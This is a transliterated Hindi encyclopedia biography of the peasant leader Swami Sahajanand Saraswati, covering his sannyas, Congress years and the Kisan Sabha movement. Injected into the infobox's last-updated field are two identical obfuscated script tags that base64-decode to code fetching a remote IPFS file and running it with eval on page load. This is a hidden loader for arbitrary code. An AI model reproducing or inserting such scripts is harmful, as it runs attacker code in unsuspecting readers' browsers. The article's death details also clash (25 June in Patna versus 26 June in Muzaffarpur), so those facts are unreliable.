स्वामी सहजानंद सरस्वती

svami sahajanand sarasvati
svami sahajanand sarasvati|200px|center
poora nam	svami sahajanand sarasvati
janm	22 faravari 1889
janm bhoomi	gazipur, uttar pradesh
mrityu	25 joon, 1950
mrityu sthan	patana, bihar
abhibhavak	pita- beni ray
guru	adi shankarachary
mukhy rachanaean	'bhoomihar-brahman parichay', 'karmakalap' adi.
prasiddhi	samaj-sudharak, krantikari, kisan-neta
vishesh yogadan	bharat mean kisan aandolan shuroo karane ka shrey svami sahajanand sarasvati ko hi jata hai.
nagarikata	bharatiy
any janakari	brahmanoan ki ekata aur sanskrit shiksha ke prachar par unaka zor raha. simari mean rahate hue sanatan dharm ke janm se maran tak ke sanskaroan par adharit 'karmakalap' namak 1200 prishthoan ke vishal granth ki hindi mean rachana ki.
adyatan‎	19:17, 1 march 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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svami sahajanand sarasvati (aangrezi: Swami Sahajanand Saraswati, janm: 22 faravari, 1889 gazipur; mrityu: 25 joon, 1950 patana) bharat ke rashtravadi neta evan svatantrata sangram senani the. svami ji bharat mean 'kisan andolan' ke janak the. ve adi shankarachary sampraday ke 'dasanami sannyasi' akha de ke dandi sannyasi the. ve ek buddhijivi, lekhak, samaj-sudharak, krantikari, itihasakar evan kisan-neta the.

aranbhik jivan

aise mahanh sannyasi, yugadrashta aur jananayak ka janm uttar pradesh ke gazipur zile ke deva gaanv mean mahashivaratri ke din sanh 1889 ee. mean hua tha. svamiji ke bachapan ka nam naurang ray tha. unake pita beni ray samany kisan the. bachapan mean hian maan ka saya uth gaya. lalan-palan chachi ne kiya. jalalabad ke madarase mean aranbhik shiksha huee. medhavi naurang ray ne midil pariksha mean poore uttar pradesh mean chhatha sthan prapt kiya. sarakar ne chhatravritti di. padhaee ke dauran hi unaka man adhyatm mean ramane laga. gharavaloan ne bachche ki sthiti bhaanp kar shadi kara di. sanyog aisa raha ki patni ek sal bad hi chal basian. parijanoan ne doosari shadi ki bat nikali to ve bhag kar kashi chale gaye.

kashi pravas

vahaan shankarachary ki paranpara ke svami achyutanand se diksha lekar sannyasi ban gaye. bad ke do varsh unhoanne tirthoan ke bhraman aur guru ki khoj mean bitaya. 1909 mean punah kashi pahuanchakar dandi svami advaitanand se diksha grahanakar dand prapt kiya aur dandi svami sahajanand sarasvati bane. isi dauran unhean kashi mean samaj ki ek aur k davi sachchaee se samana hua. darasal kashi ke kuchh pan ditoan ne unake sannyas par saval utha diya. unaka kahana tha ki brahmanetar jatiyoan ko dand dharan karane ka adhikar nahian hai. svami sahajanand ne ise chunauti ke taur par liya aur vibhinn manchoan par shastrarth kar ye pramanit kiya ki bhoomihar bhi brahman hi haian aur har yogy vyakti sannyas grahan karane ki patrata rakhata hai. kafi shodh ke bad unhoanne bhoomihar-brahman parichay namak granth likha jo age chalakar brahmarshi vansh vistar ke nam se samane aya. isake zariye unhoanne apani dharana ko saiddhaantik jama pahanaya. sannyas ke taduparaant unhoanne kashi aur darabhanga mean kee varsho tak sanskrit sahity, vyakaran, nyay aur mimaansa ka gahan adhyayan kiya. sath-sath desh ki samajik-rajanitik sthitiyoan ke adhyayan bhi karate rahe.

svami sahajanand ke samagr jivan par najar dalean to mote taur par use tin khandoan mean baanta ja sakata hai. pahala khand hai jab ve sannyas dharan karate haian, kashi mean rahate hue dharmik kuritiyoan aur bahyadambaroan ke khilaf morcha kholate haian. nij jati gaurav ko pratishthapit karane ke lie bhoomihar brahman mahasabha ke ayojanoan mean shamil hote haian. unaka ye kram sanh 1909 se lekar 1920 tak chalata hai. is dauran kashi ke alava unaka karyakshetr baksar zile ka dumari, simari aur gazipur ka vishvambharapur gaanv rahata hai. kashi se unhoanne bhoomihar brahman namak patr bhi nikala.

kisan andolan

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mahatma gaandhi ne chanparan ke kisanoan ko aangrezi shoshan se bachane ke lie aandolan chhe da tha, lekin kisanoan ko akhil bharatiy star par sangathit kar prabhavi aandolan kh da karane ka kam svami sahajanand ne hi kiya. doosare shabdoan mean kahean to bharat mean kisan aandolan shuroo karane ka shrey svami sahajanand sarasvati ko hi jata hai. ek aisa dandi sannyasi jise bhagavan ka darshan bhookhe, adhanange kisanoan ki jhop di mean hota hai, jo paranparanuposhit sannyas dharm ka palan karane ki bajay yugadharm ki pukar sun bharat mata ko gulami se mukt karane ke sangharsh mean kood p data hai, lekin ann utpadakoan ki dasha dekh aangrezi satta ke bhoore dalaloan arthat desi zamiandaroan ke khilaf bhi sangharsh ka sootrapat karata hai. ek aisa sannyasi, jisane roti ko hi bhagavan kaha aur kisanoan ko bhagavan se badhakar bataya.

kaangres se ju dav

svamiji ke jivan ka doosara adhyay tab shuroo hota hai, jab 5 disambar 1920 ko patana mean kaangres neta maulana majaharul hak ke avas par mahatma gaandhi se unaki mulakat hoti hai. gaandhiji ke anurodh par ve kaangres mean shamil hote haian. sal ke bhitar hian ve gazipur zila kaangres ka adhyaksh chune gaye aur kaangres ke ahamadabad adhiveshan mean shamil hue. agale sal unaki giraphtari aur ek sal ki kaid huee. jel se riha hone ke bad baksar ke simari aur asapas ke gaanvoan mean b de paimane par charakhe se khadi vastr ka utpadan karaya. brahmanoan ki ekata aur sanskrit shiksha ke prachar par unaka zor raha. simari mean rahate hue sanatan dharm ke janm se maran tak ke sanskaroan par adharit 'karmakalap' namak 1200 prishthoan ke vishal granth ki hindi mean rachana ki. kashi se karmakalap ka prakashan kiya.

kisan sangathan

mahatma gaandhi ke netritv mean shuroo hua asahayog aandolan jab bihar mean gati pak da to sahajanand usake kendr mean the. ghoom-ghoomakar unhoanne aangrezi raj ke khilaf logoan ko kh da kiya. isi dauran svami ji ko laga ki bihar ke gaanvoan mean garib log aangrezoan se nahian varanh gori satta ke in bhoore dalaloan se atankit haian. kisanoan ki halat gulamoan se bhi badatar hai. yuva sannyasi ka man ek bar phir se naye sangharsh ki or unmukh hua. ve kisanoan ko lamaband karane ki muhim mean jut gaye. 17 navanbar, 1928 ko sonapur mean unhean bihar praantiy kisan sabha ka adhyaksh chuna gaya. is manch se unhoanne kisanoan ki karunik sthiti ko uthaya. ek sath jamiandaroan ke shoshan se mukti dilane aur zamin par raiyatoan ka malikana hak dilane ki muhim shuroo ki. aprail, 1936 mean kaangres ke lakhanoo sammelan mean 'akhil bharatiy kisan sabha' ki sthapana huee aur svami sahajanand sarasvati ko usaka pahala adhyaksh chuna gaya. svami sahajanand ne nara diya tha-

"jo ann-vastr upajaega, ab so qanoon banayega
ye bharatavarsh usi ka hai, ab shasan vahian chalayega."

karavas ke dauran

kaangres mean rahate hue svamiji ne kisanoan ko jamiandaroan ke shoshan aur atank se mukt karane ka abhiyan jari rakha. unaki badhati sakriyata se ghab dakar aangrezoan ne unhean jel mean dal diya. karavas ke dauran gaandhiji ke kaangresi cheloan ki suvidhabhogi pravritti ko dekhakar svamiji hairan rah gaye. kaangres ke neta karavas ke dauran suvidha hasil karane ke lie chhal-prapanch ka sahara le rahe the. svabhav se hian vidrohi svamiji ka kaangres se mohabhang hona shuroo ho gaya. is dauran ek aur ghatana huee. 1934 mean jab bihar pralayankari bhookanp se tabah hua tab svamiji ne badh-chadhakar rahat aur punarvas ke kam mean bhag liya.lekin kisanoan jamiandaroan ke atyachar se pi dit the. jamiandaroan ke lathait kisanoan ko taiks bharane ke lie prata dit kar rahe the. patana mean kaianp kar rahe mahatma gaandhi se milakar svamiji ne ye hal sunaya. kahate haian ki gaandhiji ne darabhanga maharaj se milakar kisanoan ke lie zaroori ann ka bandobast karane ke lie svamiji ko kaha. aisa sunana tha ki svami sahajanand gusse mean lal ho gaye aur chale gaye. jate-jate unhoanne gaandhiji ko kah diya ki ab apaka aur mera rasta alag-alag hai. svamiji ka manana tha ki jo raje-rajava de aur zamiandar aangrejoan ki saraparasti kar rahe haian, unase kisanoan ka bhala nahian ho sakata hai. chahe vo darabhanga maharaj hi kyoan n ho. isi prakaran ke bad sahajanand ne kaangres mean apani sakriyata kam kar di aur kisan sabha ke kary mean man-pran se jut gaye.

zamiandari virodhi aandolan

[[chitr:Swami-Sahajanand-Saraswati-stamp.jpg|thumb|svami sahajanand sarasvati ke samman mean jari dak tikat]] svamiji ke jivan ka tisara charan tab shuroo hota hai jab ve kaangres mean rahate hue kisanoan ko hak dilane ke lie sangharsh ko hian jivan ka lakshy ghoshit karate haian. unhoanne nara diya- kaise loge malagujari, latth hamara zindabad . bad mean yahian nara kisan aandolan ka sabase priy nara ban gaya. ve kahate the - adhikar ham l d kar leange aur jamiandari ka khatma karake raheange. unaka ojasvi bhashan kisanoan par gahara asar dalata tha. kafi kam samay mean kisan aandolan poore bihar mean phail gaya. svamiji ka praantiy kisan sabha sangathan ke taur par kh da hone ke bajae aandolan ban gaya. har zile aur prakhandoan mean kisanoan ki b di-b di railiyaan aur sabhaean hueean. bad ke dinoan mean unhoanne kaangres ke samajavadi netaoan se hath milaya. sarvashri em ji ranga, ee em es nanboodaripad, pan dit karyanand sharma, pandit yamuna karyaji jaise vamapanthi aur samajavadi neta kisan aandolan ke agrim pankti mean. achary narendr dev, rahul saankrityayan, ram manohar lohiya, jayaprakash narayan, pandit yadunandan sharma, pi. sundaraiya aur bankim mukharji jaise tab ke kee nami chehare bhi kisan sabha se ju de the. vamapanthi rujhan ke chalate sipiaee unhean apana samajhati rahi aur netaji subhash chandr bos ke sath bhi ve anek railiyoan mean shamil hue. azadi ki l daee ke dauran jab unhean giraphtar kiya gaya to netaji ne poore desh mean 'faravard bl aauk' ke zariye h datal karaya.

svami sahajanand ne patana ke samip bihata mean sitaram ashram sthapit kiya jo kisan aandolan ka kendr bana. vahian se ve poore aandolan ko sanchalit karate rahe. sangharsh ke sath-sath svami ji srijan ke bhi pratik purush the. apani tamam vyastataoan ke bavajood svamiji ne srijan ka kary jari rakha. do darjan se zyada pustakoan ki rachana ki. mera jivan sangharsh namak jivani likhi.

antim samay

jamiandari pratha ke khilaf l date hue svami ji 26 joon ,1950 ko mujaphpharapur mean mahaprayan kar gaye. azadi milane ke sath hi sarakar ne qanoon banakar zamiandari raj ko khatm kar diya. maranoparaant hi sahi svami ji ki sabase b di maang poori ho gayi, lekin kisanoan ko sukhi-samriddh aur khushahal dekhane ki unaki ichchha poori n ho saki. vaishvikaran ki aandhi ne to ab kisanoan ko doyam darje ka nagarik banakar chho d diya hai. kisan pahale se kahian zyada asangathit haian aur karz ke bojh tale dabakar atmahatya karane ko vivash haian. desh mean kisanoan ke sangathan kee haian, lekin ek bhi neta aisa nahian hai, jo kisanoan mean sarvamany ho aur jisaki rashtriy star par pahachan ho. aise samay mean svami sahajanand aur zyada yad ate haian, jinhoanne kisan ko sangathit aur shoshan mukt banane mean apana sampoorn jivan balidan kar diya. unake nidhan ke sath hian bharatiy kisan aandolan ka soory ast ho gaya. rashtrakavi dinakar ke shabdoan mean dalitoan ka sannyasi chala gaya. svamiji dvara prajjavalit jyoti ki lau maddhim zaroor p di hai, bujhi nahian hai. desh ke alag-alag hissoan mean chal rahe kisan-mazadoor aandolan isake udaharan haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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